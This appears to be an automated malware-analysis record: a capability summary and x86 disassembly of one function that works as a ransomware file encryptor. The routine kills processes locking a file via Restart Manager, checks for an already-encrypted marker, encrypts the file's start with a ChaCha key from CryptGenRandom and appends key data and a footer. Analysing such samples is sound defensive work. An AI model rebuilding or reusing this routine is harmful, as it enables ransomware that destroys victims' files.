Function at 0x402580
Capabilities:
Create restart manager session
Encode data using xor
Encrypt data using salsa20 or chacha
Enumerate processes that use resource
Generate random numbers via winapi
Get file size
Read file on windows
Resolve function by parsing pe exports
Set file attributes
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x1ad8
call fcn.004120e0
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1ad4], eax
push esi
push edi
mov esi, ecx
push 0x80
push esi
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push esi
call edi
cmp eax, 0xffffffff
je 0x4025db
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4026c1
push 0x42
lea eax, [esp + 0x1a94]
mov dword [esp + 0x30], esi
push 0
push eax
call fcn.00408820
add esp, 0xc
lea eax, [esp + 0x1a90]
push eax
push 0
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x4026c1
push eax
push eax
push eax
push eax
lea eax, [esp + 0x3c]
push eax
push 1
push dword [esp + 0x30]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x4026b7
lea eax, [esp + 0x38]
mov dword [esp + 0x14], 0xa
push eax
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x3c]
push eax
push dword [esp + 0x28]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
jne 0x4026b7
xor edi, edi
cmp dword [esp + 0x14], edi
jbe 0x4026b1
lea eax, [esp + 0x48]
mov dword [esp + 0x24], eax
mov esi, dword [eax]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, eax
je 0x402699
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x402699
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x24]
inc edi
add eax, 0x29c
mov dword [esp + 0x24], eax
cmp edi, dword [esp + 0x14]
jb 0x402667
mov esi, dword [esp + 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push dword [esp + 0x18]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
push esi
call edi
mov edi, eax
mov dword [esp + 0x24], edi
cmp edi, 0xffffffff
je 0x40274f
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x5d
jbe 0x402765
push 2
push 0
push 0xffffffffffffffff
push 0xfffffffffffffff3
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x402765
push 0
lea eax, [esp + 0x48]
push eax
push 0xd
lea eax, [esp + 0x1a8c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402765
mov ecx, 0x41a8e0
lea edx, [esp + 0x1a80]
mov esi, 9
nop
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x402765
add ecx, 4
add edx, 4
sub esi, 4
jae 0x402730
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x402765
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call eax
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x1ad4]
xor ecx, esp
call fcn.004079bd
mov esp, ebp
pop ebp
ret
mov eax, dword [0x41b9ec]
test eax, eax
je 0x40277f
lea ecx, [esp + 0x1a60]
push ecx
push 0x20
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
push 0x90
call fcn.0040947b
movups xmm0, xmmword [esp + 0x1a64]
mov ecx, dword [0x41b3f4]
mov esi, eax
mov eax, dword [0x41b3f0]
add esp, 4
mov dword [esp + 0x18], 1
mov dword [esi + 0x70], 0
mov dword [esi + 0x74], 0
movups xmmword [esi + 0x50], xmm0
mov dword [esi + 0x78], eax
movups xmm0, xmmword [esp + 0x1a70]
mov dword [esi + 0x7c], ecx
mov dword [esi + 0x84], 0xa
movups xmmword [esi + 0x60], xmm0
mov dword [esi + 0x80], 0
push 0x7d000
mov dword [esi + 0x40], 0x61707865
mov dword [esi + 0x44], 0x3320646e
mov dword [esi + 0x48], 0x79622d32
mov dword [esi + 0x4c], 0x6b206574
call fcn.0040947b
add esp, 4
mov dword [esp + 0x14], eax
test eax, eax
je 0x40289d
push 0
push 0
xorps xmm0, xmm0
movlpd qword [esp + 0x40], xmm0
push dword [esp + 0x44]
push dword [esp + 0x44]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [esp + 0x1c]
push eax
push 0x7d000
push dword [esp + 0x20]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402891
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x402891
mov eax, dword [esp + 0x14]
mov edx, eax
push eax
push ecx
mov ecx, esi
call fcn.00402060
mov eax, dword [esp + 0x20]
add esp, 8
neg eax
cdq
push 1
push 0
push edx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x20]
push dword [esp + 0x20]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esp + 0x14]
call fcn.00409460
add esp, 4
push esi
call fcn.00409460
add esp, 4
xorps xmm0, xmm0
movlpd qword [esp + 0x30], xmm0
push 2
push 0
push dword [esp + 0x3c]
push dword [esp + 0x3c]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x4029f4
lea edi, [esp + 0x1a60]
mov eax, 0x84222325
mov ecx, 0xcbf29ce4
mov edx, 2
xor eax, dword [edi]
lea edi, [edi + 8]
mov dword [esp + 0x1c], eax
dec edx
mov eax, dword [edi - 4]
xor eax, ecx
mov dword [esp + 0x2c], edx
mov ecx, 0x23462239
mul ecx
mov esi, eax
mov eax, dword [esp + 0x1c]
mul ecx
add esi, edx
mov ecx, eax
xor esi, dword [edi + 0xc]
mov edx, 0x23462239
xor ecx, dword [edi + 8]
mov eax, esi
mul edx
mov edx, eax
mov eax, ecx
mov dword [esp + 0x14], edx
mov ecx, 0x23462239
mul ecx
mov ecx, dword [esp + 0x14]
add ecx, edx
mov edx, dword [esp + 0x2c]
test edx, edx
jne 0x4028e0
mov edi, dword [esp + 0x24]
xor ecx, eax
mov dword [esp + 0x14], ecx
mov edx, dword [esp + 0x14]
shr ecx, 0x10
xor edx, ecx
mov byte [esp + 0x21], cl
mov eax, edx
mov byte [esp + 0x23], dl
shr eax, 0x18
mov ecx, 0x40
mov byte [esp + 0x20], al
mov eax, edx
shr eax, 8
xor esi, esi
mov byte [esp + 0x22], al
mov eax, esi
cdq
idiv ecx
mov ecx, edx
mov dword [esp + 0x1c], ecx
test ecx, ecx
jne 0x40298e
cdq
lea ecx, [esp + 0x1a90]
push edx
push eax
sub esp, 8
call fcn.004068a0
mov ecx, dword [esp + 0x2c]
add esp, 0x10
mov al, byte [esp + ecx + 0x1a90]
mov ecx, 0x40
xor byte [esp + esi + 0x1a60], al
inc esi
cmp esi, 0x20
jb 0x402966
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [esp + 0x28]
push 0
push eax
push 4
lea eax, [esp + 0x2c]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x2c]
push eax
push 0x20
lea eax, [esp + 0x1a6c]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x2c]
push eax
push 0x20
push 0x41b9f0
push edi
call esi
push 0
lea eax, [esp + 0x2c]
push eax
push 0xd
push 0x41a8e0
push edi
call esi
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call eax
mov ecx, dword [esp + 0x1adc]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.004079bd
mov esp, ebp
pop ebp
ret